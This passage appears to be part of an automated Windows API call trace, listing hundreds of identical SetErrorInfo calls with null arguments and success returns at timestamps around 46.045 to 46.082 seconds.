(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.045] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.046] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.047] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.048] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.049] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.050] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.052] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.052] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.052] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.052] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.052] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.052] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.054] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.055] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.057] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.057] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.057] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.057] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.057] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.057] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.058] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.058] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.058] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.058] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.058] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.059] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.059] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.059] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.059] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.059] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.060] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.060] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.060] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.060] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.060] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.061] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.062] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.063] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.064] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.065] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.066] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.067] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.069] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.070] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.071] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.073] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.074] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.075] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.076] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.077] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.078] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.079] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.080] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.081] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.082] SetErrorInfo 